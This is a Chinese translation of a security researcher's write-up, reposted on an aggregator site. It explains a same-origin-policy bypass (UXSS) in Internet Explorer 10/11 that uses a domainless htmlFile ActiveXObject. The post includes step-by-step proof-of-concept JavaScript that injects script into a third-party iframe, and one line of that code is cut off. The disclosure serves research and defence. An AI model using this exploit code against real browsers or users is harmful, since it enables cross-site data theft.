Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界

0
0
【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界

2017-03-27 10:05:40
来源:brokenbrowser.com 作者:scriptkid

阅读:295次
点赞(0)
收藏





【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界

翻译:scriptkid

稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

几个月前,我们曾在Edge上玩耍过无域的about:blank页面。基本上,一个强有力的about:blank document可以无限制地访问任何域。该问题在最近关于CVE-2017-0002的补丁上得到修复,所以将不再起作用。同样由ActiveXObject/htmlFile引发的问题也在上周关于CVE-2017-0154的补丁中被修复了。如果你还没有阅读过前面提到两种达到UXSS/SOP绕过方式的文章,请现在就去查阅下,因为我们接下来的内容将假设你已经熟悉这两种方式。我们今天的目标是将我们之前Edge上的bug利用移植到IE上,这将很容易,因为微软对IE的不认真修复。先看下这些漏洞当前的状态:


【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界

在IE上创建一个无域的about:blank

在之前的bug上,我们使用data:uri来创建一个无域的blank,我们要怎么在IE上实现相同的结果呢?htmlFile再次给我们提供了帮助,因为补丁让我们无法再设置为任意域,但是我们依旧可以将其设置为blank或者无域。

为了创建一个无域的htmlFile,我们首先需要一个被销毁的document,也就是说,document将不复存在。我们如何在什么都没有的基础上创建东西?这是Neil deGrasse Tyson提出的另一个问题,我将做出最好的回复!事实上,思路很简单,我们只需要确保一切按照正确的顺序进行即可。

1、保存iframe的对ActiveXObject的引用

2、至少实例化一次htmlFile(这样IE就没有销毁掉它)

3、阻断iframe进程(这样IE就没有机会销毁我们的引用)

4、销毁iframe的document(用document.open)

5、再次实例化htmlFile,现在它是无域的了。

步骤2和3在这里非常重要,少了步骤2将导致我们无法保存一个可用的引用,少了步骤3将是IE可以销毁相应对象。我们之前已经在这篇文章中提到过线程阻断的思路。我们接下来将使用的线程阻断技术是非常直观的弹框。


无域的htmlFile

//Wewillattacktheiframebelow //<iframename="victim_iframe"src="https://www.google.com/recaptcha/..."></iframe> //Renderaniframe(wewilldestroyitsdocumentlater) document.body.insertAdjacentHTML('beforeEnd','<iframename="ifr"></iframe>'); //SaveareferencetoitsActiveXObject varifr_ActiveXObject=ifr.ActiveXObject; //MakesureIEdoesnotinvalidateourreference newifr_ActiveXObject("htmlFile");//Wedon'tevenneedsavethisinstance //BlocktheiFramesotheActiveXObjectobjectisneverdestroyed ifr.setTimeout('alert("DonotclosemeuntilthePoCfinishes,please.");'); 你是否意识到我们使用了setTimeout来执行阻断弹框?这是因为我们还需要继续做其他事,如果我们直接在iframe弹框,这将阻断UI导致后续功能不执行。我们现在的目标是在弹框期间销毁iframe的内容。记住,弹框是用来阻止IE销毁ActiveXObject的。

现在我们将销毁iframe的document并创建无域的htmlFile。如果你对document.open不熟悉,那么在这个PoC中,你可以将其类比为document.write。

//Destroytheiframedocument ifr.document.open(); //InstantiateadomainlesshtmlFile vardomainlessDoc=newifr_ActiveXObject("htmlFile");

现在,我们拥有了一个无域的htmlFile,我们所需要做的就仅仅是加载一个带有我们要访问的URL的iframe了。具体的做法在之前的冒险在无域的世界文章中提到过了。实质上,我们通过iframe加载任意的网站,将其修改为about:blank(iframe所属域)。接着我们就可以通过我们的无域htmlFile任意访问该blank(绕过SOP)。

//Injectthecodeinvictim'sinneriframe domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location='javascript:alert(pare

上述适用于IE10和IE11,但只要稍微调整即可适用于IE6到IE11.我们不会在这里做调整,但如果你真的好奇,请让我知道。


【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界
[IE10/11上的PoC]

记住,htmlFile还有许多玩法在等着被发现,我相信这值得你花费一个下雨的午后来研究它。在我看来,修复htmlFile相关的bug的最好方式是完全禁止它在iexplore.exe上的实例化。

//IfthiscodereturnsACCESS_DENIEDattackerswillloseanamazingweapon newActiveXObject("htmlFile");//Donotallowthisanymore!

【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界
【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://www.brokenbrowser.com/uxss-ie-domainless-world/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images